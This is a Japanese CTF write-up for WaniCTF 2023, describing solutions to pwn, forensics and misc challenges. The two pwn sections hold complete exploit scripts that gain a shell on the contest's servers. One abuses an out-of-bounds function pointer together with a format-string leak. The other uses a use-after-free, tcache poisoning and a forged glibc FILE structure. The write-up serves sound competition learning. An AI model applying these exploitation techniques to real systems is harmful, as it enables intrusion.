CTFするぞ

CTF以外のことも書くよ

WaniCTF 2023のWriteup

はじめに

今年もWaniCTFがやってきました。 今回はチーム戦ありとのことで、GWで予定が詰まっていたのでst98🦌 + theoremoon👻たちと一緒に初日で全完させる気持ちで出ました。 チーム名は「ℹ️❤️🐏」で出て、無事12時間以内にすべてを終わらせて登山に向けて3時間睡眠が取れました。

進撃のyoshikingが山を通った跡

OSCPよりかっこいい証明書

↓こっちを読もう↓

nanimokangaeteinai.hateblo.jp

問題数が多いので各ジャンル点数の高いものだけ書きます。

[Pwn] Time Table

時間割管理アプリのようです。機能がごちゃごちゃしていて脆弱性はいくつかありますが、範囲外参照脆弱性が一番自明かつ強そうなので注目します。

void register_mandatory_class() {
...
  printf(">");
  scanf("%d", &i);
  choice = mandatory_list[i]; // [!] OOB

  printf("%d\n", choice.time[0]);
...

void register_elective_class() {
...
  printf(">");
  scanf("%d", &i);
  choice = elective_list[i]; // [!] OOB
  if (choice.IsAvailable(&user) == 1) {

PIE無効なのでアドレスリークにこだわらずに解けます。 register_elective_classchoice.IsAvailableが関数ポインタなので、範囲外参照でユーザー入力を関数ポインタとして認識させられれば終わります。 実際、elective_listよりも低いアドレスにmandatory_listというものがあり、

mandatory_subject mandatory_list[3] = {computer_system, digital_circuit,
                                       system_control};
...
elective_subject elective_list[2] = {world, intellect};

これのmemoメンバーは十分に書き換え可能です。

typedef struct {
  char *name;
  int time[2];
  char *target[4];
  char memo[32];
  char *professor;
} mandatory_subject;

また、

  if (choice.IsAvailable(&user) == 1) {

userはユーザー入力が入るnameを先頭に持っているだめ、ある程度自由な値を入れられます。

typedef struct {
  char name[10];
  int studentNumber;
  int EnglishScore;
} student;

1回目にIsAvailableprintfをセットし、FSBでlibcのアドレスをリークし、2回目にsystemでシェルを呼べば終わります。

from ptrlib import *

def reg_m(index):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(">", index)
def reg_s(index):
    sock.sendlineafter(">", "2")
    sock.sendlineafter(">", index)
def memo(date, data):
    sock.sendlineafter(">", "4")
    sock.sendlineafter(">", date)
    sock.sendafter("CLASS\n", data)

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./chall")
#sock = Process("./chall")
sock = Socket("nc timetable-pwn.wanictf.org 9008")

sock.sendafter(": ", "%49$p;sh\0")
sock.sendlineafter(": ", "+")
sock.sendlineafter(": ", "+")

reg_m(1)
memo("FRI 3", b"A"*0x10+p64(elf.plt("printf")))
reg_s(-3)
l = sock.recvline()
libc.base = int(l[:l.find(b";")], 16) - 0x29e40

memo("FRI 3", b"A"*0x10+p64(libc.symbol("system")))
reg_s(-3)

sock.sh()

[Pwn] Copy & Paste

ヒープ問です。noteをコピーして別のnoteと結合できます。

void copy() {
...
  copied = list[idx];
  printf("Done!\n");
}

void paste() {
...
  pasted.size = list[idx].size + copied.size;
  if (pasted.size < 0 || pasted.size > MAX_NOTE_SIZE) {
    printf("Invalid size!\nPaste failed!\n");
    return;
  }
  pasted.ptr = (char *)malloc(pasted.size);
  memset(pasted.ptr, 0, pasted.size);
  sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr);
  free(list[idx].ptr);
  list[idx] = pasted;
  printf("Done!\n");
}

また、noteの削除もできます。

void delete () {
...
  free(list[idx].ptr);
  list[idx].size = 0;
  list[idx].ptr = NULL;
  printf("Done!\n");
}

コピーしたnoteはdeleteで触れられていないので、明らかにUse-after-Freeが起きています。 コピーしておいたnoteを削除してからペーストすると、free時に挿入されたアドレスがsprintfで結合されるため、別のnoteからアドレスリークできます。 まずはlibcとヒープのアドレスを取っておきましょう。

また、Use-after-Freeが起きているということは、ペースト時のサイズ情報も間違っていることになります。 小さいnoteをfreeして、同じアドレスにより長いデータが重なるようにチャンクを確保すれば、sprintfで想定よりも多い値がコピーされます。

NULLバイトがコピーできないのでサイズ情報を書き換えても安全なtcache poisoningを使うのが楽です。 あとは適当にFILE構造体を書き換えるなどしてシェルを取ります。

from ptrlib import *

def create(index, size, data):
    assert 0 <= size <= 4096
    assert len(data) <= size
    sock.sendlineafter("choice: ", 1)
    sock.sendlineafter("index: ", index)
    sock.sendlineafter("): ", size)
    sock.sendafter("content: ", data)
def show(index):
    sock.sendlineafter(": ", 2)
    sock.sendlineafter(": ", index)
    return sock.recvline()
def copy(index):
    sock.sendlineafter(": ", 3)
    sock.sendlineafter(": ", index)
def paste(index):
    sock.sendlineafter(": ", 4)
    sock.sendlineafter(": ", index)
def delete(index):
    sock.sendlineafter(": ", 5)
    sock.sendlineafter(": ", index)

libc = ELF("libc.so.6")
#sock = Process("./chall")
sock = Socket("nc copy-paste-pwn.wanictf.org 9009")

# leak libc
create(0, 0x428, b"Hello")
create(1, 0x18, b"A")
copy(0)
delete(0)
paste(1)
libc.base = u64(show(1)[1:]) - libc.main_arena() - 0x450

# leak heap
create(0, 0x28, b"Hello")
copy(0)
delete(0)
paste(1)
heap_base = u64(show(1)[1+6:]) << 12
logger.info("heap = " + hex(heap_base))

# tcache poisoning
for i in range(7):
    create(1, 0x108, b"A"*0x108)
create(2, 0xe8, b"A"*0xe0)
create(3, 0xe8, b"B"*0xe0)
create(0, 0x528, b"C"*0x520)
copy(0)
delete(0)

target = libc.symbol("_IO_2_1_stderr_")
payload  = b"X"*0x530 + b"A"*0x6
payload += p64(((heap_base+0x2c70) >> 12) ^ target)
create(4, 0x7f8, payload)
create(5, 0x528, b"Y"*0x528)
create(9, 0x528, b"dummy")
create(6, 0xa58, b"Hello")
create(7, 0xe8, b"1"*0xe0)
delete(2)
delete(3)
delete(7)
delete(6)
paste(5)

create(2, 0xe8, "dummy")

addr_IO_wfile_jumps = libc.base + 0x2160c0
fake_file = flat([
    0x3b01010101010101, u64(b"/bin/sh\0"), # flags / rptr
    0, 0, # rend / rbase
    0, 1, # wbase / wptr
    0, 0, # wend / bbase
    0, 0, # bend / savebase
    0, 0, # backupbase / saveend
    0, 0, # marker / chain
], map=p64)
fake_file += p64(libc.symbol("system")) # __doallocate
fake_file += b'\x00' * (0x88 - len(fake_file))
fake_file += p64(libc.base + 0x21ba70) # lock
fake_file += b'\x00' * (0xa0 - len(fake_file))
fake_file += p64(libc.symbol("_IO_2_1_stderr_")) # wide_data
fake_file += b'\x00' * (0xc0 - len(fake_file))
fake_file += b'\xff\xff\xff\xff'
fake_file += b'\x00' * (0xd8 - len(fake_file))
fake_file += p64(libc.base + 0x2160c0 - 0x58 + 0x18) # vtable (_IO_wfile_jumps)
fake_file += p64(libc.symbol("_IO_2_1_stderr_") + 8) # _wide_data->_wide_vtable
create(3, 0xe8, fake_file)

sock.sendline("6")

sock.sh()

[Forensics] Apocalypse

問題名から絶対aCropalypseだと思ったら違いました。 開けないPNGファイルが渡されるので調べると、データの途中にIENDチャンクが挿入されていました。 なぜそこにIENDチャンクがあるのか本当にわからなかったのですが、なぜかIENDチャンクがありました。

そういう日もあるのでIDATを取り出して強制的にdecompressしようとしましたが、pythonのzlibはエラー耐性が貧弱で使い物になりませんでした。 代わりにzlib-flateで展開してGIMPで開くと、それっぽいフラグが出ました。

import struct
import binascii
import zlib
import os
from ptrlib import *
from PIL import Image

data = b""
with open("chall.png", "rb") as f:
    f.seek(0x5d)
    while True:
        addr = f.tell()
        size = struct.unpack(">I", f.read(4))[0]
        if size == 0: break
        assert f.read(4) == b'IDAT'
        dat = f.read(size)
        data += dat
        crc = struct.unpack(">I", f.read(4))[0]
        cal = binascii.crc32(b"IDAT" + dat)
        print(hex(addr), hex(crc), hex(cal))

with open("idat.bin", "wb") as f:
    f.write(data)

os.system("cat idat.bin | zlib-flate -uncompress > a")

なぜあそこにIENDチャンクがあったのか、その謎は迷宮入りしたのであった......

[Misc] int_generator

何してるのか分からない関数fが渡されるので、f(x)からxを求める系の問題です。 そもそも問題文にxは0から235までと書いてあったので、関数をCで適当に最適化して再実装し、総当りしました。

#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#define likely(x)   __builtin_expect(!!(x), 1)
#define unlikely(x) __builtin_expect(!!(x), 0)
#define MAXLENGTH 16

typedef long i64;

static const i64 r = 0x1000000000;
static const i64 sqrt_r = 0x40000;

i64 mulmod(i64 a, i64 b, i64 c) {
  if (unlikely(a == 0 || b == 0)) return 0;
  if (unlikely(a == 1)) return b;
  if (unlikely(b == 1)) return a;
  i64 a2 = mulmod(a, b/2, c);
  if ((b & 1) == 0)
    return (a2 + a2) % c;
  else
    return ((a % c) + (a2 + a2)) % c;
}

i64 modpow(i64 a, i64 n, i64 mod) {
  i64 res = 1;
  while (n > 0) {
    if (n & 1) res = res * a % mod;
    a = a * a % mod;
    n >>= 1;
  }
  return res;
}

void f(i64 x, i64 cnt, i64 *x_, i64 *cnt_) {
  *cnt_ = cnt + 1;
  if (unlikely(x == 0 || x == r)) {
    *x_ = -x;
  } else if (likely(mulmod(x, x, r))) {
    *x_ = -x;
  } else {
    //*x_ = -x * (x - r) / r;
    *x_ = x - (x/sqrt_r)*(x/sqrt_r);
  }
}

void g(i64 x, i64 *x_, i64 *cnt_) {
  i64 ret = x*2 + (x/3)*10 - (x/5)*10 + (x/7)*10;
  ret = ret - ret % 2 + 1;
  *cnt_ = x / 100 % 100;
  *x_ = ret;
}

i64 digit(i64 x) {
  if (x == 0) return 0;
  return (i64)floor(log10((double)x) + 1);
}

i64 pad(i64 x, i64 cnt) {
  int minus = 0;
  if (x < 0) {
    minus = 1;
    g(-x, &x, &cnt);
  }
  i64 sub = MAXLENGTH - digit(x);
  i64 ret = x;
  for (i64 i = 0; i < sub - digit(cnt); i++) {
    ret *= 10;
    if (minus) {
      ret += modpow(x%10, (x%10)*i, 10);
    } else {
      ret += modpow((i%10)-(i%2), (i%10)-(i%2)+1, 10);
    }
  }
  i64 v = 1;
  for (i64 i = 0; i < MAXLENGTH - digit(cnt); i++) {
    v *= 10;
  }
  ret += cnt * v;
  return ret;
}

i64 int_generator(i64 x) {
  i64 x_, cnt, ret = -x;
  f(x, 0, &x_, &cnt);
  while (x_ > 0) {
    ret = x_;
    f(x_, cnt, &x_, &cnt);
  }
  return pad(ret, cnt);
}

int main(int argc, char **argv) {
  if (argc < 2) {
    printf("Usage: %s <num>\n", argv[0]);
    return 1;
  }

  i64 y = atol(argv[1]);
  printf("y = %ld\n", y);

  for (i64 x = 0; x < 0x800000000; x++) {
  //for (i64 x = 0x800000000 / 2; x < 0x800000000; x++) {
  //for (i64 x = 0x800000000 / 2; x > 0; x--) {
    if ((x & 0xffffff) == 0) printf("%lx (searching...)\n", x);
    if (int_generator(x) == y) {
      printf("Found: x = %ld\n", x);
      break;
    }
  }

  return 0;
}

ランダムな値が出てくるかと思いきや、なぜか0, 235, 0x1940000というきりのいい数字3つが答えでした。 そのため、別にCで書き直さなくても数秒で探索は終わっていたことになります。*1

[Misc] range_xor

ひと目見て競プロやんと思いましたが、ちゃんと読んでも競プロでびっくりしちゃいます。 CTFに競プロを出すな組合員としては、この問題が最後に残ってしまったので嫌々解いていました。*2

でも無意味な行動を取る人間が登場したり、小籠包の食べ方が汚かったりとか*3せず、数式で端的に書かれた問題文だったので着手はできました。

正の整数が入った配列Aの好きな要素をf(x)=min(x, 1000-x)にかけてできた配列Bについて、X=XOR(B)が最小になるようなBの組み合わせ数を求める問題です。 いろんな意味でわからないです。

はるか昔LTで競プロ人間が動的計画法というものを語っていた記憶があったので、そのとき教えてもらった表みたいなやつを思い出しながらそれっぽいものを書いたら、なんか動きました。 dp[i][j]に「i+1個目までの要素をつかって、X=jになる組み合わせ数」を入れます。 dp[i+1][j]dp[i][k]にi+1番目の要素にfをかけたものとかけないものの最大2通りから計算されるXを使って更新できます。

def X(W, A):
    x = 0
    for a in A: x ^= a
    return W ^ x

def f(x):
    return min(x, 1000-x)

def R_solve(A, W):
    if len(A) == 0:
        return 1

    dp = [[0 for j in range(2000)] for i in range(len(A))]

    dp[0][W ^ A[0]] += 1
    dp[0][W ^ f(A[0])] += 1
    for i in range(1, len(A)):
        for j, v in enumerate(dp[i-1]):
            if v == 0: continue
            dp[i][j ^ A[i]] += v
            dp[i][j ^ f(A[i])] += v

    for v in dp[len(A)-1]:
        if v != 0:
            break

    return v % (10**9 + 7)

def solve(A):
    # Filter numbers bigger than 500
    W = 0
    RA = []
    for a in A:
        if a > 500:
            RA.append(a)
        else:
            W ^= a

    # Find the number of B' such that xor(B')^W is minimal
    return R_solve(RA, W)

#A = [10, 20, 55]
#A = [532, 746, 606, 601, 293, 825, 912, 826]
#A = [500, 501, 502, 503, 504, 505, 506]
#A = [501, 502, 503]
A = list(map(int, open("case(N=1000).txt", "r").read().split()))
print(solve(A))

私はプログラミングが苦手すぎてfor文しか書けません。 I'm not good at programming at all that I can only use for-statement. 我做编程做得不好,只能写for语句。 저는 프로그래밍을 잘 못해서 for문밖에 쓸 수 없어요.

*1:一回digit関数のゼロ入力チェックをしていなかったので全空間探索してしまった。

*2:あまりに嫌だったのでWebの最後の問題に取り掛かったところ、その瞬間st98さんがWebを終わらせてしまった。

*3:競技プログラミングを始めた頃この問題に対して「これを計算する目的が分からないしそもそも食べ方が汚い」と嫌悪感を感じてから競プロを敬遠している。